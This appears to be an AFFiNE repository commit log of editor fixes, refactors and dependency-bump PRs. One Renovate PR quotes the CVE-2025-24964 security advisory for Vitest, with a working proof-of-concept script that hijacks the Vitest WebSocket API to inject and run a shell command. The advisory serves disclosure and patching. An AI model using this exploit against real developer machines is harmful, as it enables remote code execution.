Flrande
c8790d20da
fix(editor): can not add attachment because service not exist ( #9952 )
...

2025-02-05 09:29:24 +00:00
renovate
75c4291325
chore: bump up vitest version to v3.0.5 [SECURITY] ( #9938 )
...
This PR contains the following updates:
| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [vitest](https://redirect.github.com/vitest-dev/vitest ) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/vitest )) | [`3.0.2` -> `3.0.5`](https://renovatebot.com/diffs/npm/vitest/3.0.2/3.0.5 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) |
### GitHub Vulnerability Alerts
#### [CVE-2025-24964](https://redirect.github.com/vitest-dev/vitest/security/advisories/GHSA-9crc-q9x8-hgqq )
### Summary
Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.
### Details
When [`api` option](https://vitest.dev/config/#api ) is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
9a581e1c43/packages/vitest/src/api/setup.ts (L32-L46)
This WebSocket server has `saveTestFile` API that can edit a test file and `rerun` API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the `saveTestFile` API and then running that file by calling the `rerun` API.
9a581e1c43/packages/vitest/src/api/setup.ts (L66-L76)
### PoC
1. Open Vitest UI.
2. Access a malicious web site with the script below.
3. If you have `calc` executable in `PATH` env var (you'll likely have it if you are running on Windows), that application will be executed.
```js
// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});
// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
console.log(e.data)
})
ws.addEventListener('open', () => {
ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))
const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"
// edit file content to inject command execution
ws.send(Flatted.stringify({
t: 'q',
i: crypto.randomUUID(),
m: "saveTestFile",
a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
}))
// rerun the tests to run the injected command execution code
ws.send(Flatted.stringify({
t: 'q',
i: crypto.randomUUID(),
m: "rerun",
a: [testFilePath]
}))
})
```
### Impact
This vulnerability can result in remote code execution for users that are using Vitest serve API.
---
### Release Notes
<details>
<summary>vitest-dev/vitest (vitest)</summary>
### [`v3.0.5`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v3.0.5 )
[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.4...v3.0.5 )
##### 🚀 Features
- **ui**: Insert message "no tests found" in ui - by [@​DevJoaoLopes](https://redirect.github.com/DevJoaoLopes ) in [https://github.com/vitest-dev/vitest/issues/7366 ](https://redirect.github.com/vitest-dev/vitest/issues/7366 ) [<samp>(92da4)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/92da490bd )
##### 🐞 Bug Fixes
- Validate websocket request - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) and [@​AriPerkkio](https://redirect.github.com/AriPerkkio ) in [https://github.com/vitest-dev/vitest/issues/7317 ](https://redirect.github.com/vitest-dev/vitest/issues/7317 ) [<samp>(191ef)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/191ef9e34 )
- Don't toggle cli cursor on non-TTY - by [@​AriPerkkio](https://redirect.github.com/AriPerkkio ) in [https://github.com/vitest-dev/vitest/issues/7336 ](https://redirect.github.com/vitest-dev/vitest/issues/7336 ) [<samp>(3c805)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/3c8050e69 )
- **vite-node**: Differentiate file url with hash and query - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) in [https://github.com/vitest-dev/vitest/issues/7365 ](https://redirect.github.com/vitest-dev/vitest/issues/7365 ) [<samp>(926ca)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/926ca9546 )
##### [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.4...v3.0.5 )
### [`v3.0.4`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v3.0.4 )
[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.3...v3.0.4 )
##### 🐞 Bug Fixes
- Filter projects eagerly during config resolution - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) and [@​AriPerkkio](https://redirect.github.com/AriPerkkio ) in [https://github.com/vitest-dev/vitest/issues/7313 ](https://redirect.github.com/vitest-dev/vitest/issues/7313 ) [<samp>(dff44)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/dff4406d )
- Apply `development|production` condition on Vites 6 by [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) and [@​sheremet-va](https://redirect.github.com/sheremet-va ) ([#​7301](https://redirect.github.com/vitest-dev/vitest/issues/7301 )) [<samp>(ef146)</samp>](ef1464fc7b )
- **browser**: Restrict served files from `/__screenshot-error` - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) in [https://github.com/vitest-dev/vitest/issues/7340 ](https://redirect.github.com/vitest-dev/vitest/issues/7340 ) [<samp>(ed9ae)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/ed9aeba2 )
- **deps**: Update all non-major dependencies - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/7297 ](https://redirect.github.com/vitest-dev/vitest/issues/7297 ) [<samp>(38ea8)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/38ea8eae )
- **runner**: Timeout long sync hook - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) in [https://github.com/vitest-dev/vitest/issues/7289 ](https://redirect.github.com/vitest-dev/vitest/issues/7289 ) [<samp>(c60ee)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/c60ee27c )
- **typechecking**: Support typechecking parsing with Vite 6 - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/7335 ](https://redirect.github.com/vitest-dev/vitest/issues/7335 ) [<samp>(bff70)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/bff70be9 )
- **types**: Fix public types - by [@​mrginglymus](https://redirect.github.com/mrginglymus ) and [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/7328 ](https://redirect.github.com/vitest-dev/vitest/issues/7328 ) [<samp>(ce6af)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/ce6af70c )
##### [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.3...v3.0.4 )
### [`v3.0.3`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v3.0.3 )
[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.2...v3.0.3 )
##### 🐞 Bug Fixes
- **browser**:
- Don't throw a validation error if v8 coverage is used with filtered instances - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/7306 ](https://redirect.github.com/vitest-dev/vitest/issues/7306 ) [<samp>(fa463)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/fa4634b2 )
- Don't fail when running --browser.headless if the browser projest is part of the workspace - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/7311 ](https://redirect.github.com/vitest-dev/vitest/issues/7311 ) [<samp>(e43a8)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/e43a8f56 )
##### 🏎 Performance
- **reporters**: Update summary only when needed - by [@​AriPerkkio](https://redirect.github.com/AriPerkkio ) in [https://github.com/vitest-dev/vitest/issues/7291 ](https://redirect.github.com/vitest-dev/vitest/issues/7291 ) [<samp>(7f36b)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/7f36b6f9 )
##### [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.2...v3.0.3 )
</details>
---
### Configuration
📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.
♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/ ). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE ).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNDUuMCIsInVwZGF0ZWRJblZlciI6IjM5LjE0NS4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-05 09:12:59 +00:00
doouding
02122098c7
fix: drag block issue ( #9902 )
...
### Changed
- Added support for changing the preview offset during dragging.
- Fixed the preview rendering for embed block and surface-ref block
- Resolved an issue where the host element might be reused in certain cases, which could cause unexpected behavior
- Moved viewport-related constants and methods to a more appropriate location
2025-02-05 07:25:53 +00:00
Saul-Mirone
f3f6e8c6ac
refactor(editor): remove attachment and image block service ( #9909 )
2025-01-28 20:53:23 +00:00
Saul-Mirone
9c65c42d64
chore(editor): cleanup dead code ( #9904 )
2025-01-27 17:06:42 +00:00
Saul-Mirone
17bf75e843
refactor(editor): remove dependency of command global types ( #9903 )
...
Closes: [BS-2216](https://linear.app/affine-design/issue/BS-2216/remove-global-types-in-command )
2025-01-27 12:28:46 +00:00
Oleg
e3fac97b9b
fix(web): minor bug fixes ( #9696 )
...
Co-authored-by: Mirone <Saul-Mirone@outlook.com >
2025-01-27 14:21:41 +09:00
doouding
73b4437081
chore: dnd cleanup ( #9899 )
2025-01-27 04:29:14 +00:00
fundon
ffd54c6620
refactor(editor): use selected signal in block component ( #9849 )
2025-01-27 02:56:10 +00:00
L-Sun
829980bace
refactor(editor): toc dragging with std.dnd ( #9883 )
...
Close [BS-2458](https://linear.app/affine-design/issue/BS-2458/toc-dnd重构 )
### What Changes
- Refactor toc note card dnd with `std.dnd`
- Extract note display mode change to command `changeNoteDisplayMode`
- It will reorder notes when the display mode changed from `EdgelessOnly` to page mode visible (a.k.a `DocOnly` or `Both`)
2025-01-24 13:27:17 +00:00
zzj3720
5a5779c05a
feat(editor): simple table block ( #9740 )
...
close: BS-2122, BS-2125, BS-2124, BS-2420, PD-2073, BS-2126, BS-2469, BS-2470, BS-2478, BS-2471
2025-01-24 10:07:57 +00:00
doodlewind
872a578bf7
refactor(editor): move zod schema with model for non surface blocks ( #9876 )
2025-01-23 10:57:49 +00:00
donteatfriedrice
bdc8dd8d5f
feat(editor): add link preview to footnote popup ( #9869 )
...
[BS-2399](https://linear.app/affine-design/issue/BS-2399/ai-link-的预览支持:获取-fav-icon-标题 )
2025-01-23 09:31:21 +00:00
pengx17
6ac6a8d6d6
feat(core): unused blob management in settings ( #9795 )
...
fix AF-2144, PD-2064, PD-2065, PD-2066
2025-01-23 07:12:17 +00:00
donteatfriedrice
bf797c7a0c
feat(editor): support footnote adapter ( #9844 )
...
[BS-2373](https://linear.app/affine-design/issue/BS-2373/适配-footnote-adapter )
2025-01-22 06:42:35 +00:00
pengx17
4c665594d6
fix(editor): ref on click slots should not be global ( #9830 )
...
fix AF-2129
2025-01-22 05:20:55 +00:00
renovate
b715d2648e
chore: bump up shiki version to v2 ( #9793 )
...
This PR contains the following updates:
| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [shiki](https://redirect.github.com/shikijs/shiki ) ([source](https://redirect.github.com/shikijs/shiki/tree/HEAD/packages/shiki )) | [`^1.14.1` -> `^2.0.0`](https://renovatebot.com/diffs/npm/shiki/1.29.1/2.0.3 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) |
| [shiki](https://redirect.github.com/shikijs/shiki ) ([source](https://redirect.github.com/shikijs/shiki/tree/HEAD/packages/shiki )) | [`^1.12.0` -> `^2.0.0`](https://renovatebot.com/diffs/npm/shiki/1.29.1/2.0.3 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) |
---
### Release Notes
<details>
<summary>shikijs/shiki (shiki)</summary>
### [`v2.0.3`](https://redirect.github.com/shikijs/shiki/releases/tag/v2.0.3 )
[Compare Source](https://redirect.github.com/shikijs/shiki/compare/v2.0.2...v2.0.3 )
##### 🐞 Bug Fixes
- **core**: Soft require `engine` options - by [@​antfu](https://redirect.github.com/antfu ) [<samp>(10a6f)</samp>](https://redirect.github.com/shikijs/shiki/commit/10a6f781 )
##### [View changes on GitHub](https://redirect.github.com/shikijs/shiki/compare/v2.0.2...v2.0.3 )
### [`v2.0.2`](https://redirect.github.com/shikijs/shiki/releases/tag/v2.0.2 )
[Compare Source](https://redirect.github.com/shikijs/shiki/compare/v2.0.1...v2.0.2 )
##### 🐞 Bug Fixes
- Mark `engine` required in `createHighlighterCore` - by [@​antfu](https://redirect.github.com/antfu ) [<samp>(1212f)</samp>](https://redirect.github.com/shikijs/shiki/commit/1212f473 )
##### [View changes on GitHub](https://redirect.github.com/shikijs/shiki/compare/v2.0.1...v2.0.2 )
### [`v2.0.1`](https://redirect.github.com/shikijs/shiki/releases/tag/v2.0.1 )
[Compare Source](https://redirect.github.com/shikijs/shiki/compare/v2.0.0...v2.0.1 )
##### 🚀 Features
- Improve warning messages - by [@​antfu](https://redirect.github.com/antfu ) [<samp>(0f27a)</samp>](https://redirect.github.com/shikijs/shiki/commit/0f27a20d )
##### 🐞 Bug Fixes
- Warn about missing deprecation - by [@​antfu](https://redirect.github.com/antfu ) [<samp>(708e3)</samp>](https://redirect.github.com/shikijs/shiki/commit/708e3f24 )
- **colorized-brackets**: Use object style `htmlStyle` - by [@​antfu](https://redirect.github.com/antfu ) [<samp>(eab5b)</samp>](https://redirect.github.com/shikijs/shiki/commit/eab5bd18 )
##### [View changes on GitHub](https://redirect.github.com/shikijs/shiki/compare/v2.0.0...v2.0.1 )
### [`v2.0.0`](https://redirect.github.com/shikijs/shiki/releases/tag/v2.0.0 )
[Compare Source](https://redirect.github.com/shikijs/shiki/compare/v1.29.1...v2.0.0 )
##### Read the announcement: [Shiki v2](https://shiki.style/blog/v2 )
##### [View changes on GitHub](https://redirect.github.com/shikijs/shiki/compare/v1.29.1...v2.0.0 )
</details>
---
### Configuration
📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.
♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/ ). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE ).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xMDcuMCIsInVwZGF0ZWRJblZlciI6IjM5LjEwNy4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-01-21 14:46:19 +00:00
Saul-Mirone
5783580054
fix(editor): y reactive deep watch ( #9818 )
...
Closes: [BS-2193](https://linear.app/affine-design/issue/BS-2193/fix-deep-watcher-of-reactive-yjs-data )
2025-01-21 08:08:01 +00:00
L-Sun
7400cf225f
refactor(editor): highlight selected cards of TOC based on signal ( #9807 )
...
Close [BS-2314](https://linear.app/affine-design/issue/BS-2314/添加打开toc时,将note-block-高亮 ), [BS-1868](https://linear.app/affine-design/issue/BS-1868/toc-里面-note之间顺序可拖动性,在page和edgeless里面是不同的,这个是设计的行为么 ?)
This PR refactor the highlight logic of note cards of TOC panel:
- notes block selected in edgeless note
- notes block covered by text or block selection in page mode
- note cards selected in TOC for dragging
Other changes:
- remove not used codes
- add tests for highlight note cards
2025-01-21 07:50:57 +00:00
Saul-Mirone
f744002808
refactor(editor): add schema on block model ( #9815 )
2025-01-21 03:56:10 +00:00
donteatfriedrice
f995f216bd
fix(editor): inline latex editor should not be shown when doc is readonly ( #9794 )
...
[BS-2442](https://linear.app/affine-design/issue/BS-2442/只读时-inline-latex-node-点击不应该弹出-modal )
2025-01-20 15:44:07 +00:00
doodlewind
14ca171a18
chore(web): bump theme ( #9801 )
2025-01-20 13:51:24 +00:00
doouding
1560880abd
fix: drag embed block preview ( #9791 )
...
Fixes [BS-1518](https://linear.app/affine-design/issue/BS-1518/拖拽一个-embed-view-的-linked-doc,其-indicator-是错误的 )
2025-01-20 09:25:05 +00:00
zzj3720
2e18ae59e3
refactor(editor): do not create a tag column by default anymore ( #9789 )
...
close: BS-2423
2025-01-20 06:59:10 +00:00
Saul-Mirone
2b3da1f0e9
fix: remove global, store and std in affine packages ( #9785 )
2025-01-20 06:14:46 +00:00
zzj3720
66b6fd8b74
fix(editor): view recorded in storage may not exist ( #9788 )
...
fix: BS-2415
2025-01-20 05:36:42 +00:00
donteatfriedrice
4bd43a698c
refactor(editor): refactor linkPreviewer as an extension and remove bookmark service ( #9754 )
...
[BS-2427](https://linear.app/affine-design/issue/BS-2427/移除-bookmark-block-service ) [BS-2418](https://linear.app/affine-design/issue/BS-2418/linkpreviewer-重构成插件 )
2025-01-20 04:18:00 +00:00
L-Sun
6ba802fb17
feat(editor): append note to page button ( #9762 )
...
Close [BS-2310](https://linear.app/affine-design/issue/BS-2310/note-display-in-page-%E7%9A%84%E8%A1%8C%E4%B8%BA ), [BS-2312](https://linear.app/affine-design/issue/BS-2312/edgeless-note-%E7%9A%84-element-toolbar-%E6%B7%BB%E5%8A%A0display-in-page%E6%8C%89%E9%92%AE ) and [BS-2313](https://linear.app/affine-design/issue/BS-2313/添加display-in-page的toast提示,以及打开toc的按钮 )
2025-01-19 08:35:02 +00:00
renovate
9c3365aaca
chore: bump up vitest monorepo to v3 (major) ( #9739 )
...
This PR contains the following updates:
| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@vitest/browser](https://redirect.github.com/vitest-dev/vitest/tree/main/packages/browser#readme ) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/browser )) | [`2.1.8` -> `3.0.2`](https://renovatebot.com/diffs/npm/@vitest%2fbrowser/2.1.8/3.0.2 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) |
| [@vitest/coverage-istanbul](https://redirect.github.com/vitest-dev/vitest/tree/main/packages/coverage-istanbul#readme ) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-istanbul )) | [`2.1.8` -> `3.0.2`](https://renovatebot.com/diffs/npm/@vitest%2fcoverage-istanbul/2.1.8/3.0.2 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) |
| [@vitest/ui](https://redirect.github.com/vitest-dev/vitest/tree/main/packages/ui#readme ) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/ui )) | [`2.1.8` -> `3.0.2`](https://renovatebot.com/diffs/npm/@vitest%2fui/2.1.8/3.0.2 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) |
| [vitest](https://redirect.github.com/vitest-dev/vitest ) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/vitest )) | [`^2.1.8` -> `^3.0.0`](https://renovatebot.com/diffs/npm/vitest/2.1.8/3.0.2 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) |
| [vitest](https://redirect.github.com/vitest-dev/vitest ) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/vitest )) | [`2.1.8` -> `3.0.2`](https://renovatebot.com/diffs/npm/vitest/2.1.8/3.0.2 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) |
---
### Release Notes
<details>
<summary>vitest-dev/vitest (@​vitest/browser)</summary>
### [`v3.0.2`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v3.0.2 )
[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.1...v3.0.2 )
##### 🐞 Bug Fixes
- Don't await an empty timeout after every test - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/7281 ](https://redirect.github.com/vitest-dev/vitest/issues/7281 ) [<samp>(ef1aa)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/ef1aa893 )
- **expect**: Fix `expect().resolves/rejects` chain typings - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) in [https://github.com/vitest-dev/vitest/issues/7273 ](https://redirect.github.com/vitest-dev/vitest/issues/7273 ) [<samp>(fa415)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/fa415059 )
##### [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.1...v3.0.2 )
### [`v3.0.1`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v3.0.1 )
[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.0...v3.0.1 )
##### 🐞 Bug Fixes
- Revert "fix: re-apply default conditions if using vite 6 or later ([https://github.com/vitest-dev/vitest/issues/7071 ](https://redirect.github.com/vitest-dev/vitest/issues/7071 ))" - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/7071 ](https://redirect.github.com/vitest-dev/vitest/issues/7071 ) and [https://github.com/vitest-dev/vitest/issues/7271 ](https://redirect.github.com/vitest-dev/vitest/issues/7271 ) [<samp>(755ec)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/755ecdfa )
- **deps**: Update all non-major dependencies - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/7147 ](https://redirect.github.com/vitest-dev/vitest/issues/7147 ) [<samp>(537fa)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/537fa5ed )
##### [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.0...v3.0.1 )
### [`v3.0.0`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v3.0.0 )
[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v2.1.8...v3.0.0 )
Vitest 3 is here! There are a few breaking changes, but we expect the migration to be smooth. This release page lists all changes made to the project during the beta. For the migration guide, please refer to the [documentation](https://vitest.dev/guide/migration.html#migrating-to-vitest-2-0 ).
##### 🚨 Breaking Changes
- `spy.mockReset` changes - by [@​Lordfirespeed](https://redirect.github.com/Lordfirespeed ) in [https://github.com/vitest-dev/vitest/issues/6426 ](https://redirect.github.com/vitest-dev/vitest/issues/6426 ) [<samp>(db7a8)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/db7a8888 )
- Pass down context to test hooks - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/7034 ](https://redirect.github.com/vitest-dev/vitest/issues/7034 ) [<samp>(82c2e)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/82c2e244 )
- Support Vite 6 - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/7026 ](https://redirect.github.com/vitest-dev/vitest/issues/7026 ) [<samp>(7abe8)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/7abe854c )
- **coverage**: Always exclude test files - by [@​AriPerkkio](https://redirect.github.com/AriPerkkio ) in [https://github.com/vitest-dev/vitest/issues/7254 ](https://redirect.github.com/vitest-dev/vitest/issues/7254 ) [<samp>(b5268)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/b5268965 )
- **deps**: Update fake-timers to v14.0.0 - by [@​xxzefgh](https://redirect.github.com/xxzefgh ) and [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) in [https://github.com/vitest-dev/vitest/issues/7097 ](https://redirect.github.com/vitest-dev/vitest/issues/7097 ) [<samp>(c98b4)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/c98b4b1c )
- **expect**: Check more properties for error equality - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) and [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/5876 ](https://redirect.github.com/vitest-dev/vitest/issues/5876 ) [<samp>(10023)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/100230e9 )
- **runner**: Support `describe(..., { shuffle: boolean })` and inherit from parent suite - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) in [https://github.com/vitest-dev/vitest/issues/6670 ](https://redirect.github.com/vitest-dev/vitest/issues/6670 ) [<samp>(aa1da)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/aa1dac3d )
- **snapshot**: Reset snapshot state for `retry` and `repeats` - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) in [https://github.com/vitest-dev/vitest/issues/6817 ](https://redirect.github.com/vitest-dev/vitest/issues/6817 ) [<samp>(e8ce9)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/e8ce94cf )
- **spy**: SpyOn reuses mock if method is already spyed on - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) and [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) in [https://github.com/vitest-dev/vitest/issues/6464 ](https://redirect.github.com/vitest-dev/vitest/issues/6464 ) [<samp>(b3e43)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/b3e43d04 )
- **vitest**: Don't expose default toFake config - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/6288 ](https://redirect.github.com/vitest-dev/vitest/issues/6288 ) [<samp>(e3144)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/e3144fd8 )
##### 🚀 Features
- Support inline `diff` options and support `printBasicPrototype` - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa ), [@​sheremet-va](https://redirect.github.com/sheremet-va ) and **Michał Grzegorzewski** in [https://github.com/vitest-dev/vitest/issues/6740 ](https://redirect.github.com/vitest-dev/vitest/issues/6740 ) [<samp>(39186)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/391860f7 )
- Allow a custom note when calling `ctx.skip()` dynamically - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/6805 ](https://redirect.github.com/vitest-dev/vitest/issues/6805 ) [<samp>(697c3)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/697c35c5 )
- Allow inline workspace configuration - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/6923 ](https://redirect.github.com/vitest-dev/vitest/issues/6923 ) [<samp>(562e1)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/562e1b14 )
- Provide the current project to the global setup - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/6942 ](https://redirect.github.com/vitest-dev/vitest/issues/6942 ) [<samp>(a5bbc)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/a5bbc0a9 )
